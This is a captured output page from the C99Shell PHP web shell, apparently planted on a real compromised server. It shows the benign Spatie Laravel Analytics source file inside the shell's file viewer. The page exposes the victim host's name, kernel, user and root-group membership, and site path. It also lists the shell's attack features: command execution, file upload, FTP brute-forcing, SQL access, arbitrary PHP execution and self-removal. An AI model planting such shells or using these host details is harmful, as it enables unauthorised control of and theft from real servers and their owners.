!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/classify.picotech.app/public_html/vendor/spatie/laravel-analytics/src/   drwxr-xr-x
Free 28.82 GB of 117.98 GB (24.42%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Analytics.php (6.11 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Spatie\Analytics;

use 
Google\Analytics\Data\V1beta\FilterExpression;
use 
Illuminate\Support\Collection;
use 
Illuminate\Support\Traits\Macroable;

class 
Analytics
{
    use 
Macroable;

    public function 
__construct(
        protected 
AnalyticsClient $client,
        protected 
string $propertyId,
    ) {
    }

    public function 
setPropertyId(string $propertyId): self
    
{
        
$this->propertyId $propertyId;

        return 
$this;
    }

    public function 
getPropertyId(): string
    
{
        return 
$this->propertyId;
    }

    
/**
     * @return \Illuminate\Support\Collection<int, array{
     *   pageTitle: string,
     *   activeUsers: int,
     *   screenPageViews: int
     * }>
     */
    
public function fetchVisitorsAndPageViews(Period $periodint $maxResults 10int $offset 0): Collection
    
{
        return 
$this->get(
            
period$period,
            
metrics: ['activeUsers''screenPageViews'],
            
dimensions: ['pageTitle'],
            
maxResults$maxResults,
            
offset$offset,
        );
    }

    
/**
     * @return \Illuminate\Support\Collection<int, array{
     *   pageTitle: string,
     *   date: \Carbon\Carbon,
     *   activeUsers: int,
     *   screenPageViews: int
     * }>
     */
    
public function fetchVisitorsAndPageViewsByDate(Period $periodint $maxResults 10$offset 0): Collection
    
{
        return 
$this->get(
            
period$period,
            
metrics: ['activeUsers''screenPageViews'],
            
dimensions: ['pageTitle''date'],
            
maxResults$maxResults,
            
orderBy: [
                
OrderBy::dimension('date'true),
            ],
            
offset$offset,
        );
    }

    
/**
     * @return \Illuminate\Support\Collection<int, array{
     *   date: \Carbon\Carbon,
     *   activeUsers: int,
     *   screenPageViews: int
     * }>
     */
    
public function fetchTotalVisitorsAndPageViews(Period $periodint $maxResults 20int $offset 0): Collection
    
{
        return 
$this->get(
            
period$period,
            
metrics: ['activeUsers''screenPageViews'],
            
dimensions: ['date'],
            
maxResults$maxResults,
            
orderBy: [
                
OrderBy::dimension('date'true),
            ],
            
offset$offset,
        );
    }

    
/**
     * @return \Illuminate\Support\Collection<int, array{
     *   pageTitle: string,
     *   fullPageUrl: string,
     *   screenPageViews: int
     * }>
     */
    
public function fetchMostVisitedPages(Period $periodint $maxResults 20int $offset 0): Collection
    
{
        return 
$this->get(
            
period$period,
            
metrics: ['screenPageViews'],
            
dimensions: ['pageTitle''fullPageUrl'],
            
maxResults$maxResults,
            
orderBy: [
                
OrderBy::metric('screenPageViews'true),
            ],
            
offset$offset,
        );
    }

    
/**
     * @return \Illuminate\Support\Collection<int, array{
     *   pageReferrer: string,
     *   screenPageViews: int
     * }>
     */
    
public function fetchTopReferrers(Period $periodint $maxResults 20int $offset 0): Collection
    
{
        return 
$this->get(
            
period$period,
            
metrics: ['screenPageViews'],
            
dimensions: ['pageReferrer'],
            
maxResults$maxResults,
            
orderBy: [
                
OrderBy::metric('screenPageViews'true),
            ],
            
offset$offset,
        );
    }

    
/**
     * @return \Illuminate\Support\Collection<int, array{
     *   newVsReturning: string,
     *   activeUsers: int
     * }>
     */
    
public function fetchUserTypes(Period $period): Collection
    
{
        return 
$this->get(
            
$period,
            [
'activeUsers'],
            [
'newVsReturning'],
        );
    }

    
/**
     * @return \Illuminate\Support\Collection<int, array{
     *   browser: string,
     *   screenPageViews: int
     * }>
     */
    
public function fetchTopBrowsers(Period $periodint $maxResults 10int $offset 0): Collection
    
{
        return 
$this->get(
            
period$period,
            
metrics: ['screenPageViews'],
            
dimensions: ['browser'],
            
maxResults$maxResults,
            
orderBy: [
                
OrderBy::metric('screenPageViews'true),
            ],
            
offset$offset,
        );
    }

    
/**
     * @return \Illuminate\Support\Collection<int, array{
     *   country: string,
     *   screenPageViews: int
     * }>
     */
    
public function fetchTopCountries(Period $periodint $maxResults 10int $offset 0): Collection
    
{
        return 
$this->get(
            
period$period,
            
metrics: ['screenPageViews'],
            
dimensions: ['country'],
            
maxResults$maxResults,
            
orderBy: [
                
OrderBy::metric('screenPageViews'true),
            ],
            
offset$offset,
        );
    }

    
/**
     * @return \Illuminate\Support\Collection<int, array{
     *   operatingSystem: string,
     *   screenPageViews: int
     * }>
     */
    
public function fetchTopOperatingSystems(Period $periodint $maxResults 10int $offset 0): Collection
    
{
        return 
$this->get(
            
period$period,
            
metrics: ['screenPageViews'],
            
dimensions: ['operatingSystem'],
            
maxResults$maxResults,
            
orderBy: [
                
OrderBy::metric('screenPageViews'true),
            ],
            
offset$offset,
        );
    }

    public function 
get(
        
Period $period,
        array 
$metrics,
        array 
$dimensions = [],
        
int $maxResults 10,
        array 
$orderBy = [],
        
int $offset 0,
        ?
FilterExpression $dimensionFilter null,
        
bool $keepEmptyRows false,
        ?
FilterExpression $metricFilter null,
    ): 
Collection {
        return 
$this->client->get(
            
$this->propertyId,
            
$period,
            
$metrics,
            
$dimensions,
            
$maxResults,
            
$orderBy,
            
$offset,
            
$dimensionFilter,
            
$keepEmptyRows,
            
$metricFilter
        
);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0052 ]--